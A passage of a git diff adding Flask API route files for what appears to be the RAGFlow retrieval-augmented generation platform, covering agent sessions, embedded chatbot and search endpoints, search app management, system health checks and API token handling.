+ return get_error_data_result(message=";".join(duplicate_messages))
+
+ return get_result()
+
+
+@manager.route("/agents//sessions", methods=["DELETE"]) # noqa: F821
+@token_required
+def delete_agent_session(tenant_id, agent_id):
+ errors = []
+ success_count = 0
+ req = request.json
+ cvs = UserCanvasService.query(user_id=tenant_id, id=agent_id)
+ if not cvs:
+ return get_error_data_result(f"You don't own the agent {agent_id}")
+
+ convs = API4ConversationService.query(dialog_id=agent_id)
+ if not convs:
+ return get_error_data_result(f"Agent {agent_id} has no sessions")
+
+ if not req:
+ ids = None
+ else:
+ ids = req.get("ids")
+
+ if not ids:
+ conv_list = []
+ for conv in convs:
+ conv_list.append(conv.id)
+ else:
+ conv_list = ids
+
+ unique_conv_ids, duplicate_messages = check_duplicate_ids(conv_list, "session")
+ conv_list = unique_conv_ids
+
+ for session_id in conv_list:
+ conv = API4ConversationService.query(id=session_id, dialog_id=agent_id)
+ if not conv:
+ errors.append(f"The agent doesn't own the session {session_id}")
+ continue
+ API4ConversationService.delete_by_id(session_id)
+ success_count += 1
+
+ if errors:
+ if success_count > 0:
+ return get_result(data={"success_count": success_count, "errors": errors}, message=f"Partially deleted {success_count} sessions with {len(errors)} errors")
+ else:
+ return get_error_data_result(message="; ".join(errors))
+
+ if duplicate_messages:
+ if success_count > 0:
+ return get_result(message=f"Partially deleted {success_count} sessions with {len(duplicate_messages)} errors", data={"success_count": success_count, "errors": duplicate_messages})
+ else:
+ return get_error_data_result(message=";".join(duplicate_messages))
+
+ return get_result()
+
+
+@manager.route("/sessions/ask", methods=["POST"]) # noqa: F821
+@token_required
+def ask_about(tenant_id):
+ req = request.json
+ if not req.get("question"):
+ return get_error_data_result("`question` is required.")
+ if not req.get("dataset_ids"):
+ return get_error_data_result("`dataset_ids` is required.")
+ if not isinstance(req.get("dataset_ids"), list):
+ return get_error_data_result("`dataset_ids` should be a list.")
+ req["kb_ids"] = req.pop("dataset_ids")
+ for kb_id in req["kb_ids"]:
+ if not KnowledgebaseService.accessible(kb_id, tenant_id):
+ return get_error_data_result(f"You don't own the dataset {kb_id}.")
+ kbs = KnowledgebaseService.query(id=kb_id)
+ kb = kbs[0]
+ if kb.chunk_num == 0:
+ return get_error_data_result(f"The dataset {kb_id} doesn't own parsed file")
+ uid = tenant_id
+
+ def stream():
+ nonlocal req, uid
+ try:
+ for ans in ask(req["question"], req["kb_ids"], uid):
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ resp = Response(stream(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+
+@manager.route("/sessions/related_questions", methods=["POST"]) # noqa: F821
+@token_required
+def related_questions(tenant_id):
+ req = request.json
+ if not req.get("question"):
+ return get_error_data_result("`question` is required.")
+ question = req["question"]
+ industry = req.get("industry", "")
+ chat_mdl = LLMBundle(tenant_id, LLMType.CHAT)
+ prompt = """
+Objective: To generate search terms related to the user's search keywords, helping users find more valuable information.
+Instructions:
+ - Based on the keywords provided by the user, generate 5-10 related search terms.
+ - Each search term should be directly or indirectly related to the keyword, guiding the user to find more valuable information.
+ - Use common, general terms as much as possible, avoiding obscure words or technical jargon.
+ - Keep the term length between 2-4 words, concise and clear.
+ - DO NOT translate, use the language of the original keywords.
+"""
+ if industry:
+ prompt += f" - Ensure all search terms are relevant to the industry: {industry}.\n"
+ prompt += """
+### Example:
+Keywords: Chinese football
+Related search terms:
+1. Current status of Chinese football
+2. Reform of Chinese football
+3. Youth training of Chinese football
+4. Chinese football in the Asian Cup
+5. Chinese football in the World Cup
+
+Reason:
+ - When searching, users often only use one or two keywords, making it difficult to fully express their information needs.
+ - Generating related search terms can help users dig deeper into relevant information and improve search efficiency.
+ - At the same time, related terms can also help search engines better understand user needs and return more accurate search results.
+
+"""
+ ans = chat_mdl.chat(
+ prompt,
+ [
+ {
+ "role": "user",
+ "content": f"""
+Keywords: {question}
+Related search terms:
+ """,
+ }
+ ],
+ {"temperature": 0.9},
+ )
+ return get_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)])
+
+
+@manager.route("/chatbots//completions", methods=["POST"]) # noqa: F821
+def chatbot_completions(dialog_id):
+ req = request.json
+
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ if "quote" not in req:
+ req["quote"] = False
+
+ if req.get("stream", True):
+ resp = Response(iframe_completion(dialog_id, **req), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+ for answer in iframe_completion(dialog_id, **req):
+ return get_result(data=answer)
+
+
+@manager.route("/chatbots//info", methods=["GET"]) # noqa: F821
+def chatbots_inputs(dialog_id):
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ e, dialog = DialogService.get_by_id(dialog_id)
+ if not e:
+ return get_error_data_result(f"Can't find dialog by ID: {dialog_id}")
+
+ return get_result(
+ data={
+ "title": dialog.name,
+ "avatar": dialog.icon,
+ "prologue": dialog.prompt_config.get("prologue", ""),
+ }
+ )
+
+
+@manager.route("/agentbots//completions", methods=["POST"]) # noqa: F821
+def agent_bot_completions(agent_id):
+ req = request.json
+
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ if req.get("stream", True):
+ resp = Response(agent_completion(objs[0].tenant_id, agent_id, **req), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+ for answer in agent_completion(objs[0].tenant_id, agent_id, **req):
+ return get_result(data=answer)
+
+
+@manager.route("/agentbots//inputs", methods=["GET"]) # noqa: F821
+def begin_inputs(agent_id):
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ e, cvs = UserCanvasService.get_by_id(agent_id)
+ if not e:
+ return get_error_data_result(f"Can't find agent by ID: {agent_id}")
+
+ canvas = Canvas(json.dumps(cvs.dsl), objs[0].tenant_id)
+ return get_result(data={"title": cvs.title, "avatar": cvs.avatar, "inputs": canvas.get_component_input_form("begin"), "prologue": canvas.get_prologue(), "mode": canvas.get_mode()})
+
+
+@manager.route("/searchbots/ask", methods=["POST"]) # noqa: F821
+@validate_request("question", "kb_ids")
+def ask_about_embedded():
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ req = request.json
+ uid = objs[0].tenant_id
+
+ search_id = req.get("search_id", "")
+ search_config = {}
+ if search_id:
+ if search_app := SearchService.get_detail(search_id):
+ search_config = search_app.get("search_config", {})
+
+ def stream():
+ nonlocal req, uid
+ try:
+ for ans in ask(req["question"], req["kb_ids"], uid, search_config=search_config):
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ resp = Response(stream(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+
+@manager.route("/searchbots/retrieval_test", methods=["POST"]) # noqa: F821
+@validate_request("kb_id", "question")
+def retrieval_test_embedded():
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ req = request.json
+ page = int(req.get("page", 1))
+ size = int(req.get("size", 30))
+ question = req["question"]
+ kb_ids = req["kb_id"]
+ if isinstance(kb_ids, str):
+ kb_ids = [kb_ids]
+ if not kb_ids:
+ return get_json_result(data=False, message='Please specify dataset firstly.',
+ code=settings.RetCode.DATA_ERROR)
+ doc_ids = req.get("doc_ids", [])
+ similarity_threshold = float(req.get("similarity_threshold", 0.0))
+ vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3))
+ use_kg = req.get("use_kg", False)
+ top = int(req.get("top_k", 1024))
+ langs = req.get("cross_languages", [])
+ tenant_ids = []
+
+ tenant_id = objs[0].tenant_id
+ if not tenant_id:
+ return get_error_data_result(message="permission denined.")
+
+ if req.get("search_id", ""):
+ search_config = SearchService.get_detail(req.get("search_id", "")).get("search_config", {})
+ meta_data_filter = search_config.get("meta_data_filter", {})
+ metas = DocumentService.get_meta_by_kbs(kb_ids)
+ if meta_data_filter.get("method") == "auto":
+ chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_name=search_config.get("chat_id", ""))
+ filters = gen_meta_filter(chat_mdl, metas, question)
+ doc_ids.extend(meta_filter(metas, filters))
+ if not doc_ids:
+ doc_ids = None
+ elif meta_data_filter.get("method") == "manual":
+ doc_ids.extend(meta_filter(metas, meta_data_filter["manual"]))
+ if not doc_ids:
+ doc_ids = None
+
+ try:
+ tenants = UserTenantService.query(user_id=tenant_id)
+ for kb_id in kb_ids:
+ for tenant in tenants:
+ if KnowledgebaseService.query(tenant_id=tenant.tenant_id, id=kb_id):
+ tenant_ids.append(tenant.tenant_id)
+ break
+ else:
+ return get_json_result(data=False, message="Only owner of knowledgebase authorized for this operation.", code=settings.RetCode.OPERATING_ERROR)
+
+ e, kb = KnowledgebaseService.get_by_id(kb_ids[0])
+ if not e:
+ return get_error_data_result(message="Knowledgebase not found!")
+
+ if langs:
+ question = cross_languages(kb.tenant_id, None, question, langs)
+
+ embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
+
+ rerank_mdl = None
+ if req.get("rerank_id"):
+ rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"])
+
+ if req.get("keyword", False):
+ chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT)
+ question += keyword_extraction(chat_mdl, question)
+
+ labels = label_question(question, [kb])
+ ranks = settings.retrievaler.retrieval(
+ question, embd_mdl, tenant_ids, kb_ids, page, size, similarity_threshold, vector_similarity_weight, top, doc_ids, rerank_mdl=rerank_mdl, highlight=req.get("highlight"), rank_feature=labels
+ )
+ if use_kg:
+ ck = settings.kg_retrievaler.retrieval(question, tenant_ids, kb_ids, embd_mdl, LLMBundle(kb.tenant_id, LLMType.CHAT))
+ if ck["content_with_weight"]:
+ ranks["chunks"].insert(0, ck)
+
+ for c in ranks["chunks"]:
+ c.pop("vector", None)
+ ranks["labels"] = labels
+
+ return get_json_result(data=ranks)
+ except Exception as e:
+ if str(e).find("not_found") > 0:
+ return get_json_result(data=False, message="No chunk found! Check the chunk status please!", code=settings.RetCode.DATA_ERROR)
+ return server_error_response(e)
+
+
+@manager.route("/searchbots/related_questions", methods=["POST"]) # noqa: F821
+@validate_request("question")
+def related_questions_embedded():
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ req = request.json
+ tenant_id = objs[0].tenant_id
+ if not tenant_id:
+ return get_error_data_result(message="permission denined.")
+
+ search_id = req.get("search_id", "")
+ search_config = {}
+ if search_id:
+ if search_app := SearchService.get_detail(search_id):
+ search_config = search_app.get("search_config", {})
+
+ question = req["question"]
+
+ chat_id = search_config.get("chat_id", "")
+ chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, chat_id)
+
+ gen_conf = search_config.get("llm_setting", {"temperature": 0.9})
+ prompt = load_prompt("related_question")
+ ans = chat_mdl.chat(
+ prompt,
+ [
+ {
+ "role": "user",
+ "content": f"""
+Keywords: {question}
+Related search terms:
+ """,
+ }
+ ],
+ gen_conf,
+ )
+ return get_json_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)])
+
+
+@manager.route("/searchbots/detail", methods=["GET"]) # noqa: F821
+def detail_share_embedded():
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ search_id = request.args["search_id"]
+ tenant_id = objs[0].tenant_id
+ if not tenant_id:
+ return get_error_data_result(message="permission denined.")
+ try:
+ tenants = UserTenantService.query(user_id=tenant_id)
+ for tenant in tenants:
+ if SearchService.query(tenant_id=tenant.tenant_id, id=search_id):
+ break
+ else:
+ return get_json_result(data=False, message="Has no permission for this operation.", code=settings.RetCode.OPERATING_ERROR)
+
+ search = SearchService.get_detail(search_id)
+ if not search:
+ return get_error_data_result(message="Can't find this Search App!")
+ return get_json_result(data=search)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/searchbots/mindmap", methods=["POST"]) # noqa: F821
+@validate_request("question", "kb_ids")
+def mindmap():
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_error_data_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_error_data_result(message='Authentication error: API key is invalid!"')
+
+ tenant_id = objs[0].tenant_id
+ req = request.json
+
+ search_id = req.get("search_id", "")
+ search_app = SearchService.get_detail(search_id) if search_id else {}
+
+ mind_map = gen_mindmap(req["question"], req["kb_ids"], tenant_id, search_app.get("search_config", {}))
+ if "error" in mind_map:
+ return server_error_response(Exception(mind_map["error"]))
+ return get_json_result(data=mind_map)
diff --git a/api/apps/search_app.py b/api/apps/search_app.py
new file mode 100644
index 0000000..e0002f8
--- /dev/null
+++ b/api/apps/search_app.py
@@ -0,0 +1,188 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from flask import request
+from flask_login import current_user, login_required
+
+from api import settings
+from api.constants import DATASET_NAME_LIMIT
+from api.db import StatusEnum
+from api.db.db_models import DB
+from api.db.services import duplicate_name
+from api.db.services.search_service import SearchService
+from api.db.services.user_service import TenantService, UserTenantService
+from api.utils import get_uuid
+from api.utils.api_utils import get_data_error_result, get_json_result, not_allowed_parameters, server_error_response, validate_request
+
+
+@manager.route("/create", methods=["post"]) # noqa: F821
+@login_required
+@validate_request("name")
+def create():
+ req = request.get_json()
+ search_name = req["name"]
+ description = req.get("description", "")
+ if not isinstance(search_name, str):
+ return get_data_error_result(message="Search name must be string.")
+ if search_name.strip() == "":
+ return get_data_error_result(message="Search name can't be empty.")
+ if len(search_name.encode("utf-8")) > 255:
+ return get_data_error_result(message=f"Search name length is {len(search_name)} which is large than 255.")
+ e, _ = TenantService.get_by_id(current_user.id)
+ if not e:
+ return get_data_error_result(message="Authorized identity.")
+
+ search_name = search_name.strip()
+ search_name = duplicate_name(SearchService.query, name=search_name, tenant_id=current_user.id, status=StatusEnum.VALID.value)
+
+ req["id"] = get_uuid()
+ req["name"] = search_name
+ req["description"] = description
+ req["tenant_id"] = current_user.id
+ req["created_by"] = current_user.id
+ with DB.atomic():
+ try:
+ if not SearchService.save(**req):
+ return get_data_error_result()
+ return get_json_result(data={"search_id": req["id"]})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/update", methods=["post"]) # noqa: F821
+@login_required
+@validate_request("search_id", "name", "search_config", "tenant_id")
+@not_allowed_parameters("id", "created_by", "create_time", "update_time", "create_date", "update_date", "created_by")
+def update():
+ req = request.get_json()
+ if not isinstance(req["name"], str):
+ return get_data_error_result(message="Search name must be string.")
+ if req["name"].strip() == "":
+ return get_data_error_result(message="Search name can't be empty.")
+ if len(req["name"].encode("utf-8")) > DATASET_NAME_LIMIT:
+ return get_data_error_result(message=f"Search name length is {len(req['name'])} which is large than {DATASET_NAME_LIMIT}")
+ req["name"] = req["name"].strip()
+ tenant_id = req["tenant_id"]
+ e, _ = TenantService.get_by_id(tenant_id)
+ if not e:
+ return get_data_error_result(message="Authorized identity.")
+
+ search_id = req["search_id"]
+ if not SearchService.accessible4deletion(search_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ try:
+ search_app = SearchService.query(tenant_id=tenant_id, id=search_id)[0]
+ if not search_app:
+ return get_json_result(data=False, message=f"Cannot find search {search_id}", code=settings.RetCode.DATA_ERROR)
+
+ if req["name"].lower() != search_app.name.lower() and len(SearchService.query(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value)) >= 1:
+ return get_data_error_result(message="Duplicated search name.")
+
+ if "search_config" in req:
+ current_config = search_app.search_config or {}
+ new_config = req["search_config"]
+
+ if not isinstance(new_config, dict):
+ return get_data_error_result(message="search_config must be a JSON object")
+
+ updated_config = {**current_config, **new_config}
+ req["search_config"] = updated_config
+
+ req.pop("search_id", None)
+ req.pop("tenant_id", None)
+
+ updated = SearchService.update_by_id(search_id, req)
+ if not updated:
+ return get_data_error_result(message="Failed to update search")
+
+ e, updated_search = SearchService.get_by_id(search_id)
+ if not e:
+ return get_data_error_result(message="Failed to fetch updated search")
+
+ return get_json_result(data=updated_search.to_dict())
+
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/detail", methods=["GET"]) # noqa: F821
+@login_required
+def detail():
+ search_id = request.args["search_id"]
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ for tenant in tenants:
+ if SearchService.query(tenant_id=tenant.tenant_id, id=search_id):
+ break
+ else:
+ return get_json_result(data=False, message="Has no permission for this operation.", code=settings.RetCode.OPERATING_ERROR)
+
+ search = SearchService.get_detail(search_id)
+ if not search:
+ return get_data_error_result(message="Can't find this Search App!")
+ return get_json_result(data=search)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/list", methods=["POST"]) # noqa: F821
+@login_required
+def list_search_app():
+ keywords = request.args.get("keywords", "")
+ page_number = int(request.args.get("page", 0))
+ items_per_page = int(request.args.get("page_size", 0))
+ orderby = request.args.get("orderby", "create_time")
+ if request.args.get("desc", "true").lower() == "false":
+ desc = False
+ else:
+ desc = True
+
+ req = request.get_json()
+ owner_ids = req.get("owner_ids", [])
+ try:
+ if not owner_ids:
+ # tenants = TenantService.get_joined_tenants_by_user_id(current_user.id)
+ # tenants = [m["tenant_id"] for m in tenants]
+ tenants = []
+ search_apps, total = SearchService.get_by_tenant_ids(tenants, current_user.id, page_number, items_per_page, orderby, desc, keywords)
+ else:
+ tenants = owner_ids
+ search_apps, total = SearchService.get_by_tenant_ids(tenants, current_user.id, 0, 0, orderby, desc, keywords)
+ search_apps = [search_app for search_app in search_apps if search_app["tenant_id"] in tenants]
+ total = len(search_apps)
+ if page_number and items_per_page:
+ search_apps = search_apps[(page_number - 1) * items_per_page : page_number * items_per_page]
+ return get_json_result(data={"search_apps": search_apps, "total": total})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/rm", methods=["post"]) # noqa: F821
+@login_required
+@validate_request("search_id")
+def rm():
+ req = request.get_json()
+ search_id = req["search_id"]
+ if not SearchService.accessible4deletion(search_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ try:
+ if not SearchService.delete_by_id(search_id):
+ return get_data_error_result(message=f"Failed to delete search App {search_id}")
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/system_app.py b/api/apps/system_app.py
new file mode 100644
index 0000000..fa2b5f1
--- /dev/null
+++ b/api/apps/system_app.py
@@ -0,0 +1,334 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+#
+import logging
+from datetime import datetime
+import json
+
+from flask_login import login_required, current_user
+
+from api.db.db_models import APIToken
+from api.db.services.api_service import APITokenService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.user_service import UserTenantService
+from api import settings
+from api.utils import current_timestamp, datetime_format
+from api.utils.api_utils import (
+ get_json_result,
+ get_data_error_result,
+ server_error_response,
+ generate_confirmation_token,
+)
+from api.versions import get_ragflow_version
+from rag.utils.storage_factory import STORAGE_IMPL, STORAGE_IMPL_TYPE
+from timeit import default_timer as timer
+
+from rag.utils.redis_conn import REDIS_CONN
+from flask import jsonify
+from api.utils.health_utils import run_health_checks
+
+@manager.route("/version", methods=["GET"]) # noqa: F821
+@login_required
+def version():
+ """
+ Get the current version of the application.
+ ---
+ tags:
+ - System
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: Version retrieved successfully.
+ schema:
+ type: object
+ properties:
+ version:
+ type: string
+ description: Version number.
+ """
+ return get_json_result(data=get_ragflow_version())
+
+
+@manager.route("/status", methods=["GET"]) # noqa: F821
+@login_required
+def status():
+ """
+ Get the system status.
+ ---
+ tags:
+ - System
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: System is operational.
+ schema:
+ type: object
+ properties:
+ es:
+ type: object
+ description: Elasticsearch status.
+ storage:
+ type: object
+ description: Storage status.
+ database:
+ type: object
+ description: Database status.
+ 503:
+ description: Service unavailable.
+ schema:
+ type: object
+ properties:
+ error:
+ type: string
+ description: Error message.
+ """
+ res = {}
+ st = timer()
+ try:
+ res["doc_engine"] = settings.docStoreConn.health()
+ res["doc_engine"]["elapsed"] = "{:.1f}".format((timer() - st) * 1000.0)
+ except Exception as e:
+ res["doc_engine"] = {
+ "type": "unknown",
+ "status": "red",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ "error": str(e),
+ }
+
+ st = timer()
+ try:
+ STORAGE_IMPL.health()
+ res["storage"] = {
+ "storage": STORAGE_IMPL_TYPE.lower(),
+ "status": "green",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ }
+ except Exception as e:
+ res["storage"] = {
+ "storage": STORAGE_IMPL_TYPE.lower(),
+ "status": "red",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ "error": str(e),
+ }
+
+ st = timer()
+ try:
+ KnowledgebaseService.get_by_id("x")
+ res["database"] = {
+ "database": settings.DATABASE_TYPE.lower(),
+ "status": "green",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ }
+ except Exception as e:
+ res["database"] = {
+ "database": settings.DATABASE_TYPE.lower(),
+ "status": "red",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ "error": str(e),
+ }
+
+ st = timer()
+ try:
+ if not REDIS_CONN.health():
+ raise Exception("Lost connection!")
+ res["redis"] = {
+ "status": "green",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ }
+ except Exception as e:
+ res["redis"] = {
+ "status": "red",
+ "elapsed": "{:.1f}".format((timer() - st) * 1000.0),
+ "error": str(e),
+ }
+
+ task_executor_heartbeats = {}
+ try:
+ task_executors = REDIS_CONN.smembers("TASKEXE")
+ now = datetime.now().timestamp()
+ for task_executor_id in task_executors:
+ heartbeats = REDIS_CONN.zrangebyscore(task_executor_id, now - 60*30, now)
+ heartbeats = [json.loads(heartbeat) for heartbeat in heartbeats]
+ task_executor_heartbeats[task_executor_id] = heartbeats
+ except Exception:
+ logging.exception("get task executor heartbeats failed!")
+ res["task_executor_heartbeats"] = task_executor_heartbeats
+
+ return get_json_result(data=res)
+
+
+@manager.route("/healthz", methods=["GET"]) # noqa: F821
+def healthz():
+ result, all_ok = run_health_checks()
+ return jsonify(result), (200 if all_ok else 500)
+
+
+@manager.route("/ping", methods=["GET"]) # noqa: F821
+def ping():
+ return "pong", 200
+
+
+@manager.route("/new_token", methods=["POST"]) # noqa: F821
+@login_required
+def new_token():
+ """
+ Generate a new API token.
+ ---
+ tags:
+ - API Tokens
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: query
+ name: name
+ type: string
+ required: false
+ description: Name of the token.
+ responses:
+ 200:
+ description: Token generated successfully.
+ schema:
+ type: object
+ properties:
+ token:
+ type: string
+ description: The generated API token.
+ """
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+
+ tenant_id = [tenant for tenant in tenants if tenant.role == 'owner'][0].tenant_id
+ obj = {
+ "tenant_id": tenant_id,
+ "token": generate_confirmation_token(tenant_id),
+ "beta": generate_confirmation_token(generate_confirmation_token(tenant_id)).replace("ragflow-", "")[:32],
+ "create_time": current_timestamp(),
+ "create_date": datetime_format(datetime.now()),
+ "update_time": None,
+ "update_date": None,
+ }
+
+ if not APITokenService.save(**obj):
+ return get_data_error_result(message="Fail to new a dialog!")
+
+ return get_json_result(data=obj)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/token_list", methods=["GET"]) # noqa: F821
+@login_required
+def token_list():
+ """
+ List all API tokens for the current user.
+ ---
+ tags:
+ - API Tokens
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: List of API tokens.
+ schema:
+ type: object
+ properties:
+ tokens:
+ type: array
+ items:
+ type: object
+ properties:
+ token:
+ type: string
+ description: The API token.
+ name:
+ type: string
+ description: Name of the token.
+ create_time:
+ type: string
+ description: Token creation time.
+ """
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+
+ tenant_id = [tenant for tenant in tenants if tenant.role == 'owner'][0].tenant_id
+ objs = APITokenService.query(tenant_id=tenant_id)
+ objs = [o.to_dict() for o in objs]
+ for o in objs:
+ if not o["beta"]:
+ o["beta"] = generate_confirmation_token(generate_confirmation_token(tenants[0].tenant_id)).replace("ragflow-", "")[:32]
+ APITokenService.filter_update([APIToken.tenant_id == tenant_id, APIToken.token == o["token"]], o)
+ return get_json_result(data=objs)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/token/", methods=["DELETE"]) # noqa: F821
+@login_required
+def rm(token):
+ """
+ Remove an API token.
+ ---
+ tags:
+ - API Tokens
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: token
+ type: string
+ required: true
+ description: The API token to remove.
+ responses:
+ 200:
+ description: Token removed successfully.
+ schema:
+ type: object
+ properties:
+ success:
+ type: boolean
+ description: Deletion status.
+ """
+ APITokenService.filter_delete(
+ [APIToken.tenant_id == current_user.id, APIToken.token == token]
+ )
+ return get_json_result(data=True)
+
+
+@manager.route('/config', methods=['GET']) # noqa: F821
+def get_config():
+ """
+ Get system configuration.
+ ---
+ tags:
+ - System
+ responses:
+ 200:
+ description: Return system configuration
+ schema:
+ type: object
+ properties:
+ registerEnable:
+ type: integer 0 means disabled, 1 means enabled
+ description: Whether user registration is enabled
+ """
+ return get_json_result(data={
+ "registerEnabled": settings.REGISTER_ENABLED
+ })
diff --git a/api/apps/tenant_app.py b/api/apps/tenant_app.py
new file mode 100644
index 0000000..63c7f74
--- /dev/null
+++ b/api/apps/tenant_app.py
@@ -0,0 +1,138 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
